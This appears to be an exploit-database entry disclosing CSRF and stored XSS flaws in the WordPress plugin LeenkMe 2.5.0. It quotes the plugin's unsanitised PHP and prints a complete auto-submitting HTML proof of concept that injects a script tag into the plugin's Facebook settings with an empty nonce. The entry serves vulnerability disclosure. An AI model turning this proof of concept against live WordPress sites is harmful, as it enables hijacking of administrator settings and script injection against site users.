CSRF and stored XSS vulnerability in Wordpress plugin LeenkMe version 2.5.0

vendor:

LeenkMe

by:

Anonymous

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS)

352

CWE

Product Name: LeenkMe

Affected Version From: 2.5.0

Affected Version To: 2.5.0

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:leenkme

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WordPress

2016

CSRF and stored XSS vulnerability in WordPress plugin LeenkMe version 2.5.0

The plugin LeenkMe version 2.5.0 is vulnerable to Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS). The XSS vulnerable fields are facebook_message, facebook_linkname, facebook_caption, facebook_description, default_image, and _wp_http_referer. The vulnerable page is wp-content/plugins/leenkme/facebook.php and the vulnerable code producing XSS is if ( !empty( $_REQUEST['facebook_message'] ) ) $user_settings['facebook_message'] = $_REQUEST['facebook_message']; else $user_settings['facebook_message'] = ''; if ( !empty( $_REQUEST['facebook_linkname'] ) ) $user_settings['facebook_linkname'] = $_REQUEST['facebook_linkname']; else $user_settings['facebook_linkname'] = ''; if ( !empty( $_REQUEST['facebook_caption'] ) ) $user_settings['facebook_caption'] = $_REQUEST['facebook_caption']; else $user_settings['facebook_caption'] = ''; if ( !empty( $_REQUEST['facebook_description'] ) ) $user_settings['facebook_description'] = $_REQUEST['facebook_description']; else $user_settings['facebook_description'] = '';

Mitigation:

The user should update the plugin to the latest version and apply the necessary security patches.

Source

Exploit-DB raw data:

I would like to disclose CSRF and stored XSS vulnerability in Wordpress
plugin LeenkMe version 2.5.0.

The plugin can be found at https://wordpress.org/plugins/leenkme/

In the page wp-content/plugins/leenkme/facebook.php

XSS vulnerable Fields are :

   - facebook_message
   - facebook_linkname
   - facebook_caption
   - facebook_description
   - default_image
   - _wp_http_referer


This CSRF is tested on latest wordpress installation 4.4.2 using firefox
browser.

The Code for CSRF.html is

<html>
  <body onload="document.forms['xss'].submit()" >
    <form name="xss" action="
http://127.0.0.1/wp/wp-admin/admin.php?page=leenkme_facebook" method="POST">
      <input type="hidden" name="facebook_profile" value="on" />
      <input type="hidden" name="fb_publish_wpnonce" value="" />
      <input type="hidden" name="_wp_http_referer" value="XSS" />
      <input type="hidden" name="facebook_message" value="XSS" />
      <input type="hidden" name="facebook_linkname" value="XSS" />
      <input type="hidden" name="facebook_caption" value="XSS" />
      <input type="hidden" name="facebook_description" value="
&lt;/textarea&gt;<script>prompt();</script>" />
      <input type="hidden" name="default_image" value="XSS" />
      <input type="hidden" name="message_preference" value="author" />
      <input type="hidden" name="clude" value="in" />
      <input type="hidden" name="publish_cats&#91;&#93;" value="0" />
      <input type="hidden" name="update_facebook_settings"
value="Save&#32;Settings" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


The vulnerable page is

wp-content/plugins/leenkme/facebook.php

The vulnerable code producing XSS is


if ( !empty( $_REQUEST['facebook_message'] ) )
$user_settings['facebook_message'] = $_REQUEST['facebook_message'];
else
$user_settings['facebook_message'] = '';
if ( !empty( $_REQUEST['facebook_linkname'] ) )
$user_settings['facebook_linkname'] = $_REQUEST['facebook_linkname'];
else
$user_settings['facebook_linkname'] = '';
if ( !empty( $_REQUEST['facebook_caption'] ) )
$user_settings['facebook_caption'] = $_REQUEST['facebook_caption'];
else
$user_settings['facebook_caption'] = '';
if ( !empty( $_REQUEST['facebook_description'] ) )
$user_settings['facebook_description'] = $_REQUEST['facebook_description'];


-------------------------
-------------------------
-------------------------
snip
------------------------
-------------------------
--------------------------

<td><textarea name="facebook_message" style="width: 500px;"
maxlength="400"><?php
echo $user_settings['facebook_message']; ?>&lt;/textarea&gt;</td>
                            </tr>
                            <tr>
                             <td><?php _e( 'Default Link Name:', 'leenkme'
); ?></td>
                                <td><input name="facebook_linkname"
type="text" style="width: 500px;" value="<?php echo
$user_settings['facebook_linkname']; ?>"  maxlength="100"/></td>
                            </tr>
                            <tr>
                             <td><?php _e( 'Default Caption:', 'leenkme' );
?></td>
                                <td><input name="facebook_caption"
type="text" style="width: 500px;" value="<?php echo
$user_settings['facebook_caption']; ?>" maxlength="100"/></td>
                            </tr>
                            <tr>
                             <td style='vertical-align: top; padding-top:
5px;'><?php _e( 'Default Description:', 'leenkme' ); ?></td>
                                <td><textarea name="facebook_description"
style="width: 500px;" maxlength="300"><?php echo
$user_settings['facebook_description']; ?>&lt;/textarea&gt;</td>


The code used to protect against CSRF that is the anti csrf token used is

<?php wp_nonce_field( 'fb_publish', 'fb_publish_wpnonce' ); ?>


But this code is not protecting against the CSRF, the form get submitted
successfully with out any error even though the fb_publish_wpnonce is kept
empty resulting in CSRF vulnerability.



# Author email: cor3sm4sh3r[at]gmail.com
# Contact: https://in.linkedin.com/in/cor3sm4sh3r
# Twitter: https://twitter.com/cor3sm4sh3r